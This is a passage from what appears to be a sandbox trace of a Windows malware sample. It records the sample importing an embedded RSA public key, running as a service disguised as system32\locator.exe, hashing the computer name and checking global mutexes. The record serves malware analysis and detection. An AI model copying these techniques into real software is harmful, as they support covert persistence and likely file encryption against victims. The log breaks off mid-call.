(HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed288 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed278 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed268 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec240 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed258 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec168) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed298) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1b0) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2d8) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1f8) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2c8) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5e8) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2e8) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed618) returned 1 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed618 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2e8 [0259.643] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5e8 [0259.643] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2c8 [0259.643] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.643] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.643] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1b0 [0259.643] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed298 [0259.643] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec168 [0259.643] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.643] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed288) returned 1 [0259.643] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.643] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed278) returned 1 [0259.643] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec240) returned 1 [0259.643] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed268) returned 1 [0259.643] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.643] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed258) returned 1 [0259.643] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.643] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xdf2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0259.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdf2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0259.644] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xdf2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0259.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdf2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0259.644] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xdf2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0259.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdf2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0259.644] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xdf2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0259.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdf2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0259.644] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0259.645] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xdf7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xdf7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0259.645] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xdf7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0259.649] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xdf7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xdf7f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0xdf7f40, pcbStructInfo=0x18fd24) returned 1 [0259.649] CryptImportPublicKeyInfo (in: hCryptProv=0x2a2838, dwCertEncodingType=0x10001, pInfo=0xdf7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xdf7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xdf7f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x2a60b8) returned 1 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf7f40) returned 1 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf7cf8) returned 1 [0259.650] ReleaseMutex (hMutex=0xc4) returned 1 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf5058) returned 1 [0259.650] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2800) returned 0xdf5058 [0259.650] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec900 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec900) returned 1 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf5058) returned 1 [0259.650] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2800) returned 0xdf5058 [0259.650] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec900 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec900) returned 1 [0259.650] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec900 [0259.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0259.650] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee1e0 [0259.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec900, cbMultiByte=9, lpWideCharStr=0x8ee1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0259.650] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee268 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ee1e0) returned 1 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ee268) returned 1 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec900) returned 1 [0259.650] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf5058) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf2850) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed258) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec240) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed268) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed278) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed288) returned 1 [0259.651] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.651] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0259.651] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) Thread: id = 1080 os_tid = 0x674 Thread: id = 1081 os_tid = 0x308 Thread: id = 1082 os_tid = 0x4d4 Thread: id = 1083 os_tid = 0x49c [0259.805] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x2a7f60 [0259.805] SetServiceStatus (hServiceStatus=0x2a7f60, lpServiceStatus=0x15fff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0259.861] GetCommandLineW () returned="C:\\Windows\\system32\\locator.exe" [0259.862] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x15fff38 | out: pNumArgs=0x15fff38) returned 0x298970*="C:\\Windows\\system32\\locator.exe" [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed288 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee268 [0259.862] LocalFree (hMem=0x298970) returned 0x0 [0259.862] Wow64DisableWow64FsRedirection (in: OldValue=0x15fff34 | out: OldValue=0x15fff34*=0x0) returned 1 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x800) returned 0xdf7cf8 [0259.862] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xdf7cf8, nSize=0x200 | out: lpFilename="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe")) returned 0x1f [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee1e0 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee2f0 [0259.862] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ee1e0) returned 1 [0259.862] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ee2f0) returned 1 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x5c) returned 0x8edd28 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee2f0 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee1e0 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee378 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee400 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee488 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee510 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee598 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee620 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee6a8 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee730 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee7b8 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee840 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x100) returned 0xdf8500 [0259.862] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xdf8500, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0259.862] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf8500) returned 1 [0259.862] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ee840) returned 1 [0259.862] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ee840 [0259.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x8ec288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.863] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.863] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ee840) returned 1 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec240 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec900 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec948 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec990 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x5000) returned 0xdf2850 [0259.863] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec9d8 [0259.863] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec9d8) returned 1 [0259.863] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0259.865] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf2850) returned 1 [0259.865] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x29ce88, lpbSaclPresent=0x15ffd68, pSacl=0x15ffdbc, lpbSaclDefaulted=0x15ffd68 | out: lpbSaclPresent=0x15ffd68, pSacl=0x15ffdbc, lpbSaclDefaulted=0x15ffd68) returned 1 [0259.865] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec9d8 [0259.865] CreateEventA (lpEventAttributes=0x15ffdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x134 [0259.865] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec9d8) returned 1 [0259.865] GetLastError () returned 0x0 [0259.865] LocalFree (hMem=0x29ce88) returned 0x0 [0259.865] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec9d8 [0259.865] CryptAcquireContextW (in: phProv=0x15ffda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ffda0*=0x2ab430) returned 1 [0259.866] CryptCreateHash (in: hProv=0x2ab430, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x15ffda0 | out: phHash=0x15ffda0) returned 1 [0259.866] CryptHashData (hHash=0x2a3730, pbData=0x8ec240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0259.866] CryptGetHashParam (in: hHash=0x2a3730, dwParam=0x4, pbData=0x15ffda4, pdwDataLen=0x15ffdb0, dwFlags=0x0 | out: pbData=0x15ffda4, pdwDataLen=0x15ffdb0) returned 1 [0259.866] CryptGetHashParam (in: hHash=0x2a3730, dwParam=0x2, pbData=0x8ec9d8, pdwDataLen=0x15ffda4, dwFlags=0x0 | out: pbData=0x8ec9d8, pdwDataLen=0x15ffda4) returned 1 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8eca20 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x184) returned 0xdf8500 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8eca68 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ecab0 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ecaf8 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ecb40 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ecb88 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ecbd0 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf86a8 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf86f0 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf8738 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf8780 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf87c8 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf8810 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf8858 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf88a0 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf88e8 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf8930 [0259.866] CryptDestroyHash (hHash=0x2a3730) returned 1 [0259.866] CryptReleaseContext (hProv=0x2ab430, dwFlags=0x0) returned 1 [0259.866] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec9d8) returned 1 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec9d8 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf8978 [0259.866] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec9d8) returned 1 [0259.866] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec9d8 [0259.866] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec9d8) returned 1 [0259.866] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf8978) returned 1 [0259.866] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eca20) returned 1 [0259.867] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8eca20 [0259.867] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x138 [0259.867] GetLastError () returned 0x0 [0259.867] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec9d8 [0259.867] CryptAcquireContextW (in: phProv=0x15ffda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ffda0*=0x2ab430) returned 1 [0259.867] CryptCreateHash (in: hProv=0x2ab430, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x15ffda0 | out: phHash=0x15ffda0) returned 1 [0259.867] CryptHashData (hHash=0x2a3730, pbData=0x8ec240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0259.867] CryptGetHashParam (in: hHash=0x2a3730, dwParam=0x4, pbData=0x15ffda4, pdwDataLen=0x15ffdb0, dwFlags=0x0 | out: pbData=0x15ffda4, pdwDataLen=0x15ffdb0) returned 1 [0259.868] CryptGetHashParam (in: hHash=0x2a3730, dwParam=0x2, pbData=0x8ec9d8, pdwDataLen=0x15ffda4, dwFlags=0x0 | out: pbData=0x8ec9d8, pdwDataLen=0x15ffda4) returned 1 [0259.868] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf8978 [0259.868] CryptDestroyHash (hHash=0x2a3730) returned 1 [0259.868] CryptReleaseContext (hProv=0x2ab430, dwFlags=0x0) returned 1 [0259.868] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec9d8) returned 1 [0259.868] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec9d8 [0259.868] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf89c0 [0259.868] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec9d8) returned 1 [0259.868] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec9d8 [0259.868] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec9d8) returned 1 [0259.868] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf89c0) returned 1 [0259.868] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf8978) returned 1 [0259.868] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf8978 [0259.868] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf89c0 [0259.868] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0259.868] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf89c0) returned 1 [0259.868] GetLastError () returned 0x5 [0259.868] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf89c0 [0259.868] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0259.868] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf89c0) returned 1 [0259.868] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0xdf89c0 [0259.868] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x13c [0259.868] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf89c0) returned 1 [0259.868] SetEvent 